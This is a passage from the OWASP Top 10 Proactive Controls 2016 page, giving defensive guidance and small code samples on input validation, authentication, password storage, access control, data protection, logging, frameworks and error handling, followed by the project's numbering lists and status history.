^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$

Care should be exercised when creating regular expressions. Poorly designed expressions may result in potential denial of service conditions (aka ReDDoS). A good static analysis or regular expression tester tool can help product development teams to proactively find instances of this case.

There are also special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text.i A regular expression is not the right tool to parse and sanitize untrusted HTML. Please see the XSS Prevention Cheat Sheet on HTML Sanitization for more information.

PHP Example

Available as standard since v5.2, the PHP filter extension contains a set of the functions that can be used to validate the user input but also to sanitize it by removing the illegal characters. They also provide a standard strategy for filtering data.

Example of both validation and sanitization:

<?php
$sanitized_email = filter_var($email, FILTER_SANITIZE_EMAIL);
if (filter_var($sanitized_email, FILTER_VALIDATE_EMAIL)) {
echo "This sanitized email address is considered valid.\n";
}

Caution : Regular Expressions

Please note, regular expressions are just one way to accomplish validation. Regular expressions can be difficult to maintain or understand for some developers. Other validation alternatives involve writing validation methods which expresses the rules more clearly.

Caution : Validation for Security

Input validation does not necessarily make untrusted input “safe” since it may be necessary to accept potentially dangerous characters as valid input. The security of the application should be enforced where that input is used, for example, if input is used to build an HTML response, then the appropriate HTML encoding should be performed to prevent Cross-Site Scripting attacks. Also, if input is used to build a SQL statement, Query Parameterization should be used. In both of these (and other) cases, input validation should NOT be relied on for security!

Vulnerabilities Prevented

References

Tools



5: Implement Identity and Authentication Controls

Control Description

Authentication is the process of verifying that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.

Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forth between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally impossible to predict.

Identity Management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, delegation, identity repositories and more.

Below are some recommendation for secure implementation, and with code examples for each of them.

Use Multi-Factor Authentication

Multi-factor authentication (MFA) ensures that users are who they claim to be by requiring them to identify themselves with a combination of:

  • Something they know – password or PIN
  • Something they own – token or phone
  • Something they are – biometrics, such as a fingerprint

Please see the OWASP Authentication Cheat Sheet for further details.

Mobile Application: Token-Based Authentication

When building mobile applications, it's recommended to avoid storing/persisting authentication credentials locally on the device. Instead, perform initial authentication using the username and password supplied by the user, and then generate a short-lived access token which can be used to authenticate a client request without sending the user's credentials.

Implement Secure Password Storage

In order to provide strong authentication controls, an application must securely store user credentials. Furthermore, cryptographic controls should be in place such that if a credential (e.g. a password) is compromised, the attacker does not immediately have access to this information.

Please see the OWASP Password Storage Cheat Sheet for further details.

Implement Secure Password Recovery Mechanism

It is common for an application to have a mechanism for a user to gain access to their account in the event they forget their password. A good design workflow for a password recovery feature will use multi-factor authentication elements ( for example ask security question - something they know, and then send a generated token to a device - something they own).

Please see the Forgot_Password_Cheat_Sheet and Choosing_and_Using_Security_Questions_Cheat_Sheet for further details.

Session: Generation and Expiration

On any successful authentication and reauthentication the software should generate a new session and session id.

In order to minimize the time period an attacker can launch attacks over active sessions and hijack them, it is mandatory to set expiration timeouts for every session, after a specified period of inactivity. The length of timeout should be inversely proportional with the value of the data protected.

Please see the Session_Management_Cheat_Sheet further details.

Require Reauthentication for Sensitive Features

For sensitive transactions, like changing password or changing the shipping address for a purchase, it is important to require the user to re-authenticate and if feasible, to generate a new session ID upon successful authentication.

PHP Example for Password Storage

Below is an example for password hashing in PHP using password_hash() function (available since 5.5.0) which defaults to using the bcrypt algorithm. The example uses a work factor of 15.

<?php
$cost  = 15;
$password_hash = password_hash("secret_password", PASSWORD_DEFAULT, ["cost" => $cost] ); 
?>

Conclusion

Authentication and identity are very big topics. We're scratching the surface here. Ensure that your most senior engineering talent is responsible for your authentication solution.

Vulnerabilities Prevented

References



6: Implement Access Controls

Control Description

Authorization (Access Control) is the process where requests to access a particular feature or resource should be granted or denied. It should be noted that authorization is not equivalent to authentication (verifying identity). These terms and their definitions are frequently confused.

Access Control design may start simple, but can often grow into a rather complex and design-heavy security control. The following "positive" access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security design that must be heavily thought-through up front, especially when addressing requirements like multi-tenancy and horizontal (data specific) access control.

Force All Requests to go Through Access Control Checks

Most frameworks and languages only check a feature for access control if a programmer adds that check. The inverse is a more security-centric design, where all access is first verified. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.

Deny by Default

In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check.

Principle of Least Privilege

When designing access controls, each user or system component should be allocated the minimum privilege required to perform an action for the minimum amount of time.

Avoid Hard-Coded Access Control Checks

Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control "engine") should be separated when possible.

Code to the Activity

Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Consider checking if the user has access to that feature in code, as opposed to checking what role the user is in code. Such a check should take into context the specific data/user relationship. For example, a user may be able to generally modify projects given their role, but access to a given project should also be checked if business/security rules dictate explicit permissions to do so.

So instead of hard-coding role check all throughout your code base:

if (user.hasRole("ADMIN")) || (user.hasRole("MANAGER")) {
deleteAccount();
}


Please consider the following instead:

if (user.hasAccess("DELETE_ACCOUNT")) {
deleteAccount();
}

Server-Side Trusted Data Should Drive Access Control

The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved "server-side" in a standard web or web service application. Policy data such as a user's role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.

Java Examples

As discussed before, it’s recommended to separate your access control policy definition from the business/logical layer (application code). This can be achieved by using a centralized security manager which allows flexible and customizable access control policy within your application. For example, Apache Shiro API provides a simple INI-based configuration file that can be used to define your access control policy in a modular/pluggable way. Apache Shiro also has the ability to interact with any other JavaBeans-compatible frameworks (Spring, Guice, JBoss, etc). Aspects also provide a good method for separating your access control from your application code, while providing an auditable implementation.

Vulnerabilities Prevented

References



7: Protect Data

Encrypting data in Transit

When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. TLS is by far the most common and widely supported model used by web applications for encryption in transit. Despite published weaknesses in specific implementations (e.g. Heartbleed), it is still the defacto, recommended method for implementing transport layer encryption..

Encrypting data at Rest

Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI-DSS compliance standard. Also, any time you start building your own low-level cryptographic functions on your own, ensure you are or have the assistance of a deep applied expert. Instead of building cryptographic functions from scratch, it is strongly recommended that peer reviewed and open libraries be used instead, such as the Google KeyCzar project, Bouncy Castle and the functions included in SDKs. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issues in complex software.

A common weakness in encrypting data at rest is using an inadequate key, or storing the key along with the encrypted data (the cryptographic equivalent of leaving a key under the doormat). Keys should be treated as secrets and only exist on the device in a transient state, e.g. entered by the user so that the data can be decrypted, and then erased from memory. Other alternatives include the use of specialized crypto hardware such as a Hardware Security Module (HSM) for key management and cryptographic process isolation.

Implement Protection in Transit

Make sure that confidential or sensitive data is not exposed by accident during processing. It may be more accessible in memory; or it could be written to temporary storage locations or log files, where it could be read by an attacker.

Mobile Application: Secure Local Storage

In the context of mobile devices, which are regularly lost or stolen, secure local data storage requires proper techniques. When an application does not implement properly the storage mechanisms, it may lead to serious information leakage (example: authentication credentials, access token, etc.). When managing critically sensitive data, the best path is to never save that data on a mobile device, even using known methods such as a iOS keychain.

Vulnerabilities Prevented

References

Tools



8: Implement Logging and Intrusion Detection

Control Description

Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:

  • Application monitoring
  • Business analytics and insight
  • Activity auditing and compliance monitoring
  • System intrusion detection
  • Forensics

Logging and tracking security events and metrics helps to enable "attack-driven defense": making sure that your security testing and controls are aligned with real-world attacks against your system.

To make correlation and analysis easier, follow a common logging approach within the system and across systems where possible, using an extensible logging framework like SLF4J with Logback or Apache Log4j2, to ensure that all log entries are consistent.

Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions.

It is important not to log too much, or too little. Make sure to always log the timestamp and identifying information like the source IP and user-id, but be careful not to log private or confidential data or opt-out data or secrets. Use knowledge of the intended purposes to guide what, when and how much to log. To protect from Log Injection aka log forging, make sure to perform encoding on untrusted data before logging it.

The OWASP AppSensor Project explains how to implement intrusion detection and automated response into an existing Web application: where to add sensors or detection points and what response actions to take when a security exception is encountered in your application. For example, if a server-side edit catches bad data that should already have been edited at the client, or catches a change to a non-editable field, then you either have some kind of coding bug or (more likely) somebody has bypassed client-side validation and is attacking your app. Don’t just log this case and return an error: throw an alert, or take some other action to protect your system such as disconnecting the session or even locking the account in question.

In mobile applications, developers use logging functionality for debugging purpose, which may lead to sensitive information leakage. These console logs are not only accessible using the Xcode IDE (in iOS platform) or Logcat (in Android platform) but by any third party application installed on the same device. For this reason, best practice recommends to disable logging functionality into production release.

Secure Logging design may include the followings: 1. Logging level threshold configuration. i.e.Information, Warning, Error, fatal or Security Breach (highest value) 2. Encode any characters to prevent log injection attacks. 3. Do not log sensitive information. For example, password, session ID or Hash value of password, credit cards, social security numbers. 4. Protection of log integrity. Hacker may tamper the log. Therefore, the permission of log files and log changes audit should be considered. 5. Log file size growth: Hacker may send massive requests that result in disk storage denial of service or overwrite previous history logs.

Disable logging in release Android application

The simplest way to avoid compiling Log Class into production release is to use the Android ProGuard tool to remove logging calls by adding the following option in the proguard-project.txt configuration file:

-assumenosideeffects class android.util.Log
{ 
public static boolean isLoggable(java.lang.String, int);
public static int v(...);
public static int i(...);
public static int w(...);
public static int d(...); 
public static int e(...);
}

Disable logging in release iOS application

This technique can be also applied on iOS application by using the preprocessor to remove any logging statements :

#ifndef DEBUG
#define NSLog(...)
#endif

Vulnerabilities Prevented

References

Tools



9: Leverage Security Frameworks and Libraries

Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries and software frameworks with embedded security help software developers guard against security-related design and implementation flaws. A developer writing a application from scratch might not have sufficient time and budget to implement security features and different industries have different standards and levels of security compliance.

When possible, the emphasis should be on using the existing secure features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of forcing yet another library on them. Web application security frameworks to consider include:

One must also consider that not all frameworks are immune from security flaws and some have a large attack surface due to the many features and third-party plugins available. A good example is the Wordpress framework (a very popular framework to get a simple website off the ground quickly), which pushes security updates, but cannot support the security in third-party plugins or applications. Therefore it is important to build in additional security where possible, updating frequently and verifying them for security early and often like any other software you depend upon.

Vulnerabilities Prevented

Secure frameworks and libraries will typically prevent common web application vulnerabilities such as those listed in the OWASP Top Ten, particularly those based on syntactically incorrect input (e.g. supplying a Javascript payload instead of a username). It is critical to keep these frameworks and libraries up to date as described in the using components with known vulnerabilities Top Ten 2013 risk.

Key References

Tools



10: Error and Exception Handling

Control Description

Implementing correct error and exception handling isn't exciting, but like input data validation, it is an important part of defensive coding, critical to making a system reliable as well as secure. Mistakes in error handling can lead to different kinds of security vulnerabilities:

1) Leaking information to attackers, helping them to understand more about your platform and design CWE 209. For example, returning a stack trace or other internal error details can tell an attacker too much about your environment. Returning different types of errors in different situations (for example, "invalid user" vs "invalid password" on authentication errors) can also help attackers find their way in.

2) Not checking errors, leading to errors going undetected, or unpredictable results such as CWE 391. Researchers at the University of Toronto have found that missing error handling, or small mistakes in error handling, are major contributors to catastrophic failures in distributed systems https://www.usenix.org/system/files/conference/osdi14/osdi14-paper-yuan.pdf.

Error and exception handling extends to critical business logic as well as security features and framework code. Careful code reviews, and negative testing (including exploratory testing and pen testing), fuzzing (Fuzzing) and fault injection can all help in finding problems in error handling. One of the most famous automated tools for this is Netflix's Chaos Monkey.

Positive Advice

It’s recommended to manage exceptions in a centralized manner to avoid duplicated try/catch blocks in the code, and to ensure that all unexpected behaviors are correctly handled inside the application.

  • Ensure that error messages displayed to users do not leak critical data, but are still verbose enough to explain the issue to the user.
  • Ensure that exceptions are logged in a way that gives enough information for Q/A, forensics or incident response teams to understand the problem.

Vulnerabilities Prevented

References

Tools

  • Aspirator - A simple checker for exception handler bugs

Overview

OWASP Top 10 Proactive Controls is a developer centric list of security techniques that should be included in every software development project. Each control helps preventing one or more of the OWASP Top Ten, the most critical web application security vulnerabilities.

This documents presents a summary of the mapping between the OWASP Top 10 Proactive Controls and each of the OWASP Top 10 helps to mitigate.

OWASP Top 10 Proactive Controls OWASP Top 10 Prevented

C1: Verify for Security Early and Often

Incorporate security testing as integral part of software engineering practice. Consider OWASP ASVS as a guide to define security requirements and testing.

C2: Parameterize Queries

The Parameterized queries are a way to leverage to Data Access Abstraction Layer how parameters are interpreted before executing an SQL query. It provides SQL injection protection.

C3: Encode Data

Encode data before use in a parser ( JS, CSS , XML )

C4: Validate All Inputs

Consider all input from outside of the application as untrusted. For web applications this includes HTTP headers, cookies, and GET and POST parameters: any or all of this data could be manipulated by an attacker.

C5: Identity and Authentication Controls

Authentication is the process of verifying that an individual or an entity is who it claims to be while identity management is a broader topic which not only includes authentication, session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more

C6: Implement Access Controls

Authorization (Access Control) is the process where requests to access a particular feature or resource should be granted or denied. The following "positive" access control design requirements should be considered at the initial stages of application development:

  • Force all requests to go through access control checks
  • Deny by default
  • Avoid hard-coded policy-based access control checks in code
  • Check on the server when each function is accessed

C7: Protect Data

Data encryption at rest or transit

C8: Implement Logging and Intrusion Detection

C9: Leverage Security Features and Libraries

Starting from scratch when it comes to developing security controls leads to wasted time and massive security holes. Secure coding libraries help developers guard against security-related design and implementation flaws. It is critical to keep these frameworks and libraries up to date.

For example:

  • Choose a good database ORM
  • Choose a framework with already build-in good access control
  • Choose a framework that already has integrated CSRF

Prevents:

C10: Error and Exception Handling

Prevents:

OWASP-Top-10-Mapping-2016-600.png

2016 Numbering

  • OWASP-2016-C1: Verify for Security Early and Often
  • OWASP-2016-C2: Parameterize Queries
  • OWASP-2016-C3: Encode Data
  • OWASP-2016-C4: Validate All Inputs
  • OWASP-2016-C5: Implement Identity and Authentication Controls
  • OWASP-2016-C6: Implement Appropriate Access Controls
  • OWASP-2016-C7: Protect Data
  • OWASP-2016-C8: Implement Logging and Intrusion Detection
  • OWASP-2016-C9: Leverage Security Frameworks and Libraries
  • OWASP-2016-C10: Error and Exception Handling

2014 Numbering

  • OWASP-2014-C1: Parameterize Queries
  • OWASP-2014-C2: Encode Data
  • OWASP-2014-C3: Validate All Inputs
  • OWASP-2014-C4: Implement Appropriate Access Controls
  • OWASP-2014-C5: Establish Identity and Authentication Controls
  • OWASP-2014-C6: Protect Data and Privacy
  • OWASP-2014-C7: Implement Logging, Error Handling and Intrusion Detection
  • OWASP-2014-C8: Leverage Security Features of Frameworks and Security Libraries
  • OWASP-2014-C9: Include Security-Specific Requirements
  • OWASP-2014-C10: Design and Architect Security In
  • Top 10 Proactive Controls 2016 Traditional Chinese Translation PDF Download
  • Top 10 Proactive Controls 2016 Simplified Chinese Translation PDF Download
  • Top 10 Proactive Controls 2016 Japanese Translation PDF Download
  • Top 10 Proactive Controls 2016 Hebrew Translation PDF Download
  • Hebrew and French translations of the Top 10 Proactive Controls 2014 can be found on the 2014 archive tab.

Welcome to the OWASP Top 10 Proactive Controls Project!

2016 Roadmap

  • Create new PowerPoint and other artifacts for 2016 version (done)
  • Proactive Control Mapping to Cheatsheet (in progress)

Status

  • February 21, 2014 Moved 2014 info to archive tab
  • January 15, 2016: 2016 Proactive Controls Released!
  • August 6, 2015: Kickoff for 2.0 effort, in progress
  • March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.
  • February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.